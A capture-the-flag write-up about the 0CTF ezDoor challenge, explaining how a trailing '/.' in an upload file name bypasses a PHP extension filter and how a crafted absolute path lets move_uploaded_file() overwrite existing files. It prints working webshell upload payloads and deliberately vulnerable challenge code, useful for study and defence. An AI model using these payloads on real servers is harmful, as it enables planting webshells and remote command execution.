Learn from 0ctf ezDoor

First magic about bypass filter

The story started from searching solutions for 0CTF ezDoor. I learn some tricks about uploading webshell and bypassing extension filter.
I learn the first trick from @wonderkun

// Thanks to wonderkun

$content = $_POST['content']; 
$filename = $_POST['filename']; 
$filename = "backup/".$filename;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
   die("Bad file extension");
    $f = fopen($filename, 'w');
    fwrite($f, $content);

The webpage above prevent you from uploading PHP file, and it will make your webshell not working.
Successful payload:

content=<?php system('ls');?>&filename=1.php/.

And when you visit /url/1.php you can see your webshell working! Therefore, I am confused about several problems: First, It makes no sense that I can use / in the filename, it should be parsed as directory in path. Second, why I didn’t visit my webshell with 1.php/. in the end?

  1. Why /. at the end of your extension can help it work?
    I feel so confused at first, so I go back to view the file /etc/apache2/mods-enabled/php5.6.conf:
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php

The content of the file above can show the regular expression apache2 use to parse php files. When the extension matches php3,php4,php5,pht,phtml, the file would be handled as php.
Maybe I found the wrong file… Let me make sure again, I use the command cat /etc/mime.types | grep php

root@3062968de7f1:/app# cat /etc/mime.types | grep php
#application/x-httpd-php      phtml pht php
#application/x-httpd-php-source     phps
#application/x-httpd-php3     php3
#application/x-httpd-php3-preprocessed    php3p
#application/x-httpd-php4     php4
#application/x-httpd-php5     php5

Ok, I give up! Why 1.php/. can be parsed as 1.php

// line 766 on https://github.com/php/php-src/blob/master/Zend/zend_virtual_cwd.c#L766

    if (i == len ||
      (i + 1 == len && path[i] == '.')) {
      /* remove double slashes and '.' */
      len = i - 1;
      is_dir = 1;
    } else if (i + 2 == len && path[i] == '.' && path[i+1] == '.') {
      /* remove '..' and previous directory */
      is_dir = 1;
      if (link_is_dir) {
        *link_is_dir = 1;
      if (i <= start + 1) {
        return start ? start : len;
      j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL);

The source code above is how PHP deal with the path. We can see in the source code that the slashes and dot at the end of path will be removed again and again (because in while loop).
Therefore, if we change to give the path with 1.php/././., it will be removed and parsed as 1.php again.
In this way, you can bypass the extension filter, but there exists a extension on this trick. If you want to overwrite 1.php which is already on the server with different content. This trick can’t help you overwrite it…

if (save && php_sys_lstat(path, &st) < 0) {
            if (use_realpath == CWD_REALPATH) {
                /* file not found */
                return -1;
            /* continue resolution anyway but don't save result in the cache */
            save = 0;

In the source code of PHP, when the old file is found, it will return -1 and not work for you. Therefore, you cannot overwrite your old file with new content in this way.

  1. Why we visit the url 1.php instead of 1.php/. at the end?
    Again, from the source code, the slashes and dot have been removed recusively so the filename would become 1.php on the server. This is also the reason why it can be parsed as PHP file.

However, something interesting happened when I use this trick in ezDoor…

Wonderkun track the php source code with gdb and it is the best way to know how the path be parsed in php, search in the reference if you are interested in …

Second magic about move_uploaded_file

However, someone use the trick with /. to overwrite old files on the server in ezDoor. This made me shock a lot … Is it all wrong about what I learn from Wonderkun before?
Therefore, I started to make my own challenge to simulate the situation. Here is the source code if you are interested

Now, the second part of story starts with writeup of my chellenge.

function ppwaf($file){            // filter your content
  $hack = file_get_contents($file);
  if(stripos($hack,'eval') === false && stripos($hack,'assert') === false && stripos($hack,'echo') === false){
    echo "good! The content of your file is secure!"."<br />";
    return true;
    echo "You have dangerous content!"."<br />";
    return false;
function ppname($name){          // filter your filename
  if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $name)){
      echo "Bad file extension";
    return false;
        return true;
    echo "good! The filename of your file is secure!"."<br />";
if($_FILES["file"]["error"]>0){      // move_uploaded_file
  echo "error code: ".$_FILES["file"]["error"]."<br />";
  echo "filename: ".$_FILES["file"]["name"]."<br />";
  echo "tmp name: ".$_FILES["file"]["tmp_name"]."<br />";
  if(ppwaf($_FILES["file"]["tmp_name"]) == true && ppname($_GET['name']) == true){
    echo "I am sorry because your dangerous file!"."<br />";

With building up this challenge, I also learn how PHP handle with uploaded files. When user uploads file to the server, PHP will give it a temporary name at first, and move_uploaded_file() to destination with filename. In PHP, you can use $_FILES[][] to get information and manage files.

  • Detail of this challenge
    You need bypass ppwaf for avoiding using dangerous function (this one is easy), and bypass the filter of filename. You may find it similiar to the challenge of @Wonderkun above. However, you only can view the page of original files on server instead of your uploaded files. Therefore, you should overwrite the original files with your webshell.
  • Payload
    // in burpsuite
    filename = "hello.php"


  • Exploit move_uploaded_file()
    1. Absolute Path
      The critical point in this challenge is the use of function move_uploaded_file(). We should pay attention to the parameter of path: We need to use Absolute path.
      Back to the source code of php in first part:
      // in the last line
       j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL);

      The tsrm_realpath_r function is used to change any relative path into the absolute path. However, in the source code of the move_uploaded_file() function, the tsrm_realpath_r isn’t called. It means we need to pass the absolute path by ourself in parameter.

    2. File exists or not?
      We already know that move_uploaded_file() can overwrite the old file. However, how does the function judge that if there exists an old file or not?
      array lstat ( string $filename )
      // Gathers the statistics of the file or symbolic link named by filename.

      In fact, move_uploaded_file() use lstat() to get the information of file existence.
      After taking an experience on this function, I know what happen to this function…
      Normal path passed to lstat() lstat2
      Change a form of your path and pass it to lstat() lstat1
      I have found something strange:
      Two path in the pictures above should point to the same file; however, lstat() return null when it gets a name which does not exist! Now, we can back to the story of exploit move_uploaded_file().

      // payload
      ?name = /var/www/html/bosskun/x/../hello.php/.

      first, slash and dot at the end of path will be removed…

      filename = /var/www/html/bosskun/x/../hello.php

      second, hello.php/. cannot overwrite the old file. However, when lstat() find wrong path name in the path, it would return null. Therefore, move_uploaded_file() thought hello.php didn’t exist and overwrited it again!

I am learning about how to trace function use in php file, I will add to article after I finish it…